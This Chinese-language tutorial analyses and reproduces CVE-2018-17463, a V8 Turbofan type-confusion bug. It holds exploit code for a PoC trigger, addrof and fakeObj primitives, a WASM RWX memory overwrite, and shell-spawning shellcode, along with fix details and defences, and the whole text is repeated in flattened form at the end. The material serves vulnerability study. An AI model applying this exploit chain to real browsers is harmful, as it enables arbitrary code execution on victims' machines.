V8漏洞CVE-2018-17463分析与复现
字数 1413 2025-08-24 07:48:10

V8漏洞CVE-2018-17463分析与复现教学文档

1. 漏洞概述

CVE-2018-17463是V8引擎中的一个类型混淆漏洞,由于在编译优化过程中错误地消除了检查节点导致。该漏洞最终可导致任意代码执行。

关键点

  • 漏洞类型:类型混淆(Type Confusion)
  • 影响组件:V8的Turbofan优化编译器
  • 根本原因:错误的side effect注解导致检查节点被错误消除
  • 漏洞修复提交:52a9e67a477bdb67ca893c25c145ef5191976220

2. V8编译器流水线背景

理解此漏洞需要对V8的编译器流水线有基本了解:

2.1 Ignition解释器

  • 将JavaScript源代码解析为字节码
  • 直接解释执行字节码
  • 专注于快速启动和执行

2.2 Sparkplug (本漏洞版本中不存在)

  • 在V9.1引入的非优化JS编译器
  • 位于Ignition和Turbofan之间
  • 直接生成未经优化的机器码

2.3 Turbofan优化编译器

  • 将中间表示(IR)转换为高度优化的机器代码
  • 应用复杂优化策略:内联缓存、类型推断、循环优化等
  • 本漏洞发生的阶段

3. 漏洞详细分析

3.1 漏洞根源

漏洞位于src/compiler/js-operator.cc中,对CreateObject操作的side effect注解错误:

- V(CreateObject, Operator::kNoWrite, 1, 1) \
+ V(CreateObject, Operator::kNoProperties, 1, 1) \

kNoWrite表示操作不产生任何副作用,但实际上CreateObject会修改对象的属性映射(Map)。

3.2 关键概念解释

Property枚举定义

enum Property {
  kNoProperties = 0,
  kCommutative = 1 << 0,  // OP(a, b) == OP(b, a) for all inputs.
  kAssociative = 1 << 1,  // OP(a, OP(b,c)) == OP(OP(a,b), c) for all inputs.
  kIdempotent = 1 << 2,   // OP(a); OP(a) == OP(a).
  kNoRead = 1 << 3,       // Has no scheduling dependency on Effects
  kNoWrite = 1 << 4,      // Does not modify any Effects and thereby
                          // create new scheduling dependencies.
  kNoThrow = 1 << 5,      // Can never generate an exception.
  kNoDeopt = 1 << 6,      // Can never generate an eager deoptimization exit.
  kFoldable = kNoRead | kNoWrite,
  kKontrol = kNoDeopt | kFoldable | kNoThrow,
  kEliminatable = kNoDeopt | kNoWrite | kNoThrow,
  kPure = kNoDeopt | kNoRead | kNoWrite | kNoThrow | kIdempotent
};

3.3 漏洞触发机制

  1. Object.create()会将对象的属性映射从快速模式(FastProperties)转换为字典模式(DictionaryProperties)
  2. Turbofan优化时错误地认为CreateObject没有副作用(kNoWrite)
  3. 优化器消除了冗余的CheckMaps节点
  4. 后续代码仍假设对象是快速模式,但实际上已是字典模式
  5. 导致类型混淆,可以读取/写入错误的内存位置

3.4 漏洞验证POC

function vuln(obj) {
  obj.a;
  Object.create(obj);
  return obj.b;
}

let obj = {a: 42, b: 43};
vuln(obj);
vuln(obj);
%OptimizeFunctionOnNextCall(vuln);
vuln(obj);  // 这里会返回错误的值

4. 漏洞利用技术

4.1 利用步骤概述

  1. 找到重叠属性(Property Overlapping)
  2. 构建addrof原语泄露对象地址
  3. 构建fakeObj原语实现任意地址读写
  4. 通过WASM获取可执行内存
  5. 写入shellcode并执行

4.2 关键利用技术详解

4.2.1 寻找重叠属性

function findOverlapping() {
  let names = [];
  for (let i = 0; i < 32; i++) {
    names[i] = 'b' + i;
  }
  
  eval(`function vuln(obj) {
    obj.a;
    this.Object.create(obj);
    ${names.map(b => `let ${b} = obj.${b};`).join('\n')}
    return [${names.join(', ')}];
  }`);
  
  let values = [];
  for (let i = 1; i < 32; i++) {
    values[i] = -i;
  }
  
  for (let i = 0; i < 10000; i++) {
    let res = vuln(getObj(values));
    for (let i = 1; i < res.length; i++) {
      if (i !== -res[i] && res[i] < 0 && res[i] > -32) {
        [p1, p2] = [i, -res[i]];
        return;
      }
    }
  }
  throw "[!] Failed to find overlapping";
}

4.2.2 Addrof原语

function addrof(obj) {
  eval(`function vuln(obj) {
    obj.a;
    this.Object.create(obj);
    return obj.b${p1}.x1;
  }`);
  
  let values = [];
  values[p1] = {x1: 1.1, x2: 1.2};
  values[p2] = {y: obj};
  
  for (let i = 0; i < 10000; i++) {
    let res = vuln(getObj(values));
    if (res != 1.1) {
      return res;
    }
  }
  throw "[!] AddrOf Primitive Failed";
}

4.2.3 FakeObj原语

function fakeObj(obj, addr) {
  eval(`function vuln(obj) {
    obj.a;
    this.Object.create(obj);
    let orig = obj.b${p1}.x2;
    obj.b${p1}.x2 = ${addr};
    return orig;
  }`);
  
  let values = [];
  let o = {x1: 1.1, x2: 1.2};
  values[p1] = o;
  values[p2] = obj;
  
  for (let i = 0; i < 10000; i++) {
    o.x2 = 1.2;
    let res = vuln(getObj(values));
    if (res != 1.2) {
      return res;
    }
  }
  throw "[!] fakeObj Primitive Failed";
}

4.2.4 WASM内存操作

var wasmCode = new Uint8Array([...]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;

let mem = new ArrayBuffer(1024);
let dv = new DataView(mem);
let addr = addrof(wasmInstance);
fakeObj(mem, addr);
let code_addr = Int64.fromDouble(dv.getFloat64(0xf0 - 1, true));
fakeObj(mem, code_addr.asDouble());

let shellcode = [
  0x2fbb485299583b6an,
  0x5368732f6e69622fn,
  0x050f5e5457525f54n
];
let data_view = new DataView(mem);
for (let i = 0; i < 3; i++)
  data_view.setBigUint64(8*i, shellcode[i], true);
  
f(); // 执行shellcode

5. 完整利用流程

  1. 验证漏洞存在
  2. 寻找重叠属性
  3. 构造addrof原语泄露wasm实例地址
  4. 构造fakeObj原语修改ArrayBuffer的backing_store
  5. 获取WASM的RWX内存地址
  6. 向RWX内存写入shellcode
  7. 调用WASM函数执行shellcode

6. 防御措施

  1. 更新到修复版本
  2. 启用V8的指针压缩(pointer compression)可以增加利用难度
  3. 启用W^X保护机制

7. 学习价值

  • 理解V8优化编译器的工作原理
  • 学习类型混淆漏洞的利用方法
  • 掌握浏览器漏洞利用的基本技术路线
  • 学习如何通过属性重叠构建内存读写原语
  • 了解WASM在漏洞利用中的作用

8. 参考资源

  1. V8官方源码
  2. Chromium Issue 888923
  3. V8编译器设计文档
  4. 相关博客和漏洞分析文章
V8漏洞CVE-2018-17463分析与复现教学文档 1. 漏洞概述 CVE-2018-17463是V8引擎中的一个类型混淆漏洞,由于在编译优化过程中错误地消除了检查节点导致。该漏洞最终可导致任意代码执行。 关键点 : 漏洞类型:类型混淆(Type Confusion) 影响组件:V8的Turbofan优化编译器 根本原因:错误的side effect注解导致检查节点被错误消除 漏洞修复提交:52a9e67a477bdb67ca893c25c145ef5191976220 2. V8编译器流水线背景 理解此漏洞需要对V8的编译器流水线有基本了解: 2.1 Ignition解释器 将JavaScript源代码解析为字节码 直接解释执行字节码 专注于快速启动和执行 2.2 Sparkplug (本漏洞版本中不存在) 在V9.1引入的非优化JS编译器 位于Ignition和Turbofan之间 直接生成未经优化的机器码 2.3 Turbofan优化编译器 将中间表示(IR)转换为高度优化的机器代码 应用复杂优化策略:内联缓存、类型推断、循环优化等 本漏洞发生的阶段 3. 漏洞详细分析 3.1 漏洞根源 漏洞位于 src/compiler/js-operator.cc 中,对 CreateObject 操作的side effect注解错误: kNoWrite 表示操作不产生任何副作用,但实际上 CreateObject 会修改对象的属性映射(Map)。 3.2 关键概念解释 Property枚举定义 : 3.3 漏洞触发机制 Object.create() 会将对象的属性映射从快速模式(FastProperties)转换为字典模式(DictionaryProperties) Turbofan优化时错误地认为 CreateObject 没有副作用(kNoWrite) 优化器消除了冗余的CheckMaps节点 后续代码仍假设对象是快速模式,但实际上已是字典模式 导致类型混淆,可以读取/写入错误的内存位置 3.4 漏洞验证POC 4. 漏洞利用技术 4.1 利用步骤概述 找到重叠属性(Property Overlapping) 构建addrof原语泄露对象地址 构建fakeObj原语实现任意地址读写 通过WASM获取可执行内存 写入shellcode并执行 4.2 关键利用技术详解 4.2.1 寻找重叠属性 4.2.2 Addrof原语 4.2.3 FakeObj原语 4.2.4 WASM内存操作 5. 完整利用流程 验证漏洞存在 寻找重叠属性 构造addrof原语泄露wasm实例地址 构造fakeObj原语修改ArrayBuffer的backing_ store 获取WASM的RWX内存地址 向RWX内存写入shellcode 调用WASM函数执行shellcode 6. 防御措施 更新到修复版本 启用V8的指针压缩(pointer compression)可以增加利用难度 启用W^X保护机制 7. 学习价值 理解V8优化编译器的工作原理 学习类型混淆漏洞的利用方法 掌握浏览器漏洞利用的基本技术路线 学习如何通过属性重叠构建内存读写原语 了解WASM在漏洞利用中的作用 8. 参考资源 V8官方源码 Chromium Issue 888923 V8编译器设计文档 相关博客和漏洞分析文章